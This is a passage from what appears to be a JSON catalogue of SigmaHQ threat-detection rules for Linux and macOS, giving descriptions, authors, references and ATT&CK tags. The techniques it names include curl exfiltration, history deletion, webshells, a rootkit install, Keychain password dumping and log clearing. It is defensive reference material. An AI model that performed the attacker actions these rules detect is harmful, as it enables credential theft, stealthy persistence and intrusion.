"logsource.product": "linux", + "refs": [ + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://curl.se/docs/manpage.html", + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567", + "attack.t1105" + ] + }, + "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582", + "value": "Suspicious Curl File Upload - Linux" + }, + { + "description": "Detects a suspicious curl process start on linux with set useragent options", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/15", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "filename": "proc_creation_lnx_susp_curl_useragent.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://curl.se/docs/manpage.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "b86d356d-6093-443d-971c-9b07db583c68", + "value": "Suspicious Curl Change User Agents - Linux" + }, + { + "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/20", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_susp_history_delete.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565.001" + ] + }, + "uuid": "1182f3b3-e716-4efa-99ab-d2685d04360f", + "value": "History File Deletion" + }, + { + "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/20", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_susp_history_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004" + ] + }, + "uuid": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66", + "value": "Print History File Contents" + }, + { + "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/14", + "falsepositive": [ + "Legitimate software that uses these patterns" + ], + "filename": "proc_creation_lnx_susp_interactive_bash.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml" + ], + "tags": "No established tags" + }, + "uuid": "ea3ecad2-db86-4a89-ad0b-132a10d2db55", + "value": "Interactive Bash Suspicious Children" + }, + { + "description": "Detects java process spawning suspicious children", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_lnx_susp_java_children.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.tecmint.com/different-types-of-linux-shells/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "d292e0af-9a18-420c-9525-ec0ac3936892", + "value": "Suspicious Java Children Processes" + }, + { + "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/14", + "falsepositive": [ + "Legitimate software that uses these patterns" + ], + "filename": "proc_creation_lnx_susp_pipe_shell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ] + }, + "uuid": "880973f3-9708-491c-a77b-2a35a1921158", + "value": "Linux Shell Pipe to Shell" + }, + { + "description": "Detects events with patterns found in commands used for reconnaissance on linux systems", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/20", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_susp_recon_indicators.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004", + "attack.credential_access", + "attack.t1552.001" + ] + }, + "uuid": "0cf7a157-8879-41a2-8f55-388dd23746b7", + "value": "Linux Recon Indicators" + }, + { + "description": "Detects system information discovery commands", + "meta": { + "author": "Ömer Günal, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_system_info_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ] + }, + "uuid": "42df45e7-e6e9-43b5-8f26-bec5b39cc239", + "value": "System Information Discovery" + }, + { + "description": "Detects usage of system utilities to discover system network connections", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_lnx_system_network_connections_discovery.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ] + }, + "uuid": "4c519226-f0cd-4471-bd2f-6fbb2bb68a79", + "value": "System Network Connections Discovery" + }, + { + "description": "Detects enumeration of local network configuration", + "meta": { + "author": "Ömer Günal and remotephone, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_lnx_system_network_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ] + }, + "uuid": "e7bd1cfa-b446-4c88-8afb-403bcd79e3fa", + "value": "System Network Discovery - Linux" + }, + { + "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation" + ] + }, + "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e", + "value": "Triple Cross eBPF Rootkit Execve Hijack" + }, + { + "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_lnx_triple_cross_rootkit_install.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1014" + ] + }, + "uuid": "22236d75-d5a0-4287-bf06-c93b1770860f", + "value": "Triple Cross eBPF Rootkit Install Commands" + }, + { + "description": "Detects suspicious sub processes of web server processes", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali (update)", + "creation_date": "2021/10/15", + "falsepositive": [ + "Web applications that invoke Linux command line tools" + ], + "filename": "proc_creation_lnx_webshell_detection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "linux", + "refs": [ + "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", + "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "818f7b24-0fba-4c49-a073-8b755573b9c7", + "value": "Linux Webshell Indicators" + }, + { + "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/23", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "file_event_macos_emond_launch_daemon.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md", + "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.014" + ] + }, + "uuid": "23c43900-e732-45a4-8354-63e4a6c187ce", + "value": "MacOS Emond Launch Daemon" + }, + { + "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/14", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "file_event_macos_startup_items.yml", + "level": "low", + "logsource.category": "file_event", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1037.005" + ] + }, + "uuid": "dfe8b941-4e54-4242-b674-6b613d521962", + "value": "Startup Items" + }, + { + "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/21", + "falsepositive": [ + "Application installers might contain scripts as part of the installation process." + ], + "filename": "proc_creation_macos_applescript.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.002" + ] + }, + "uuid": "1bc2e6c5-0885-472b-bed6-be5ea8eace55", + "value": "MacOS Scripting Interpreter AppleScript" + }, + { + "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_macos_base64_decode.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "719c22d7-c11a-4f2c-93a6-2cfdd5412f68", + "value": "Decode Base64 Encoded Text" + }, + { + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", + "meta": { + "author": "Igor Fits, Mikhail Larin, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate script work" + ], + "filename": "proc_creation_macos_binary_padding.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ] + }, + "uuid": "95361ce5-c891-4b0a-87ca-e24607884a96", + "value": "Binary Padding" + }, + { + "description": "Detect file time attribute change to hide new or changes to existing files", + "meta": { + "author": "Igor Fits, Mikhail Larin, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_macos_change_file_time_attr.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ] + }, + "uuid": "88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0", + "value": "File Time Attribute Change" + }, + { + "description": "Detects deletion of local audit logs", + "meta": { + "author": "remotephone, oscd.community", + "creation_date": "2020/10/11", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_clear_system_logs.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.002" + ] + }, + "uuid": "acf61bd8-d814-4272-81f0-a7a269aa69aa", + "value": "Indicator Removal on Host - Clear Mac System Logs" + }, + { + "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_create_account.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml" + ], + "tags": [ + "attack.t1136.001", + "attack.persistence" + ] + }, + "uuid": "51719bf5-e4fd-4e44-8ba8-b830e7ac0731", + "value": "Creation Of A Local User Account" + }, + { + "description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/10", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_create_hidden_account.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ] + }, + "uuid": "b22a5b36-2431-493a-8be1-0bae56c28ef3", + "value": "Hidden User Creation" + }, + { + "description": "Detects passwords dumps from Keychain", + "meta": { + "author": "Tim Ismilyaev, oscd.community, Florian Roth", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_creds_from_keychain.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", + "https://gist.github.com/Capybara/6228955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.001" + ] + }, + "uuid": "b120b587-a4c2-4b94-875d-99c9807d6955", + "value": "Credentials from Password Stores - Keychain" + }, + { + "description": "Detects disabling security tools", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_macos_disable_security_tools.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "ff39f1a6-84ac-476f-a1af-37fcdf53d7c0", + "value": "Disable Security Tools" + }, + { + "description": "Detects usage of system utilities to discover files and directories", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_macos_file_and_directory_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ] + }, + "uuid": "089dbdf6-b960-4bcc-90e3-ffc3480c20f6", + "value": "File and Directory Discovery" + }, + { + "description": "Detecting attempts to extract passwords with grep and laZagne", + "meta": { + "author": "Igor Fits, Mikhail Larin, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_macos_find_cred_in_files.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ] + }, + "uuid": "53b1b378-9b06-4992-b972-dde6e423d2b4", + "value": "Credentials In Files" + }, + { + "description": "Detects attempts to use system dialog prompts to capture user credentials", + "meta": { + "author": "remotephone, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Legitimate administration tools and activities" + ], + "filename": "proc_creation_macos_gui_input_capture.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", + "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1056.002" + ] + }, + "uuid": "60f1ce20-484e-41bd-85f4-ac4afec2c541", + "value": "GUI Input Capture - macOS" + }, + { + "description": "Detects enumeration of local systeam accounts on MacOS", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_local_account.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ] + }, + "uuid": "ddf36b67-e872-4507-ab2e-46bda21b842c", + "value": "Local System Accounts Discovery" + }, + { + "description": "Detects enumeration of local system groups", + "meta": { + "author": "Ömer Günal, Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/11", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_local_groups.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "89bb1f97-c7b9-40e8-b52b-7d6afbd67276", + "value": "Local Groups Discovery" + }, + { + "description": "Detects enumeration of local or remote network services.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/21", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_network_service_scanning.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "84bae5d4-b518-4ae0-b331-6d4afd34d00f", + "value": "MacOS Network Service Scanning" + }, + { + "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/14", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_network_sniffing.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ] + }, + "uuid": "adc9bcc4-c39c-4f6b-a711-1884017bf043", + "value": "Network Sniffing" + }, + { + "description": "Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.", + "meta": { + "author": "Tim Rauch (rule), Elastic (idea)", + "creation_date": "2022/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_macos_payload_decoded_and_decrypted.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml" + ], + "tags": [ + "attack.t1059", + "attack.t1204", + "attack.execution", + "attack.t1140", + "attack.defense_evasion", + "attack.s0482", + "attack.s0402" + ] + }, + "uuid": "234dc5df-40b5-49d1-bf53-0d44ce778eca", + "value": "Payload Decoded and Decrypted via Built-in Utilities" + }, + { + "description": "Detects the enumeration of other remote systems.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/22", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_remote_system_discovery.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ] + }, + "uuid": "10227522-8429-47e6-a301-f2b2d014e7ad", + "value": "Macos Remote System Discovery" + }, + { + "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "proc_creation_macos_schedule_task_job_cron.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.003" + ] + }, + "uuid": "7c3b43d8-d794-47d2-800a-d277715aa460", + "value": "Scheduled Cron Task/Job" + }, + { + "description": "Detects attempts to use screencapture to collect macOS screenshots", + "meta": { + "author": "remotephone, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Legitimate user activity taking screenshots" + ], + "filename": "proc_creation_macos_screencapture.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ] + }, + "uuid": "0877ed01-da46-4c49-8476-d49cdd80dfa7", + "value": "Screen Capture - macOS" + }, + { + "description": "Detects usage of system utilities (only grep for now) to discover security software discovery", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/10/19", + "falsepositive": [ + "Legitimate activities" + ], + "filename": "proc_creation_macos_security_software_discovery.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ] + }, + "uuid": "0ed75b9c-c73b-424d-9e7d-496cd565fbe0", + "value": "Security Software Discovery" + }, + { + "description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", + "meta": { + "author": "remotephone", + "creation_date": "2021/11/20", + "falsepositive": [ + "Mistyped commands or legitimate binaries named to match the pattern" + ], + "filename": "proc_creation_macos_space_after_filename.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.006" + ] + }, + "uuid": 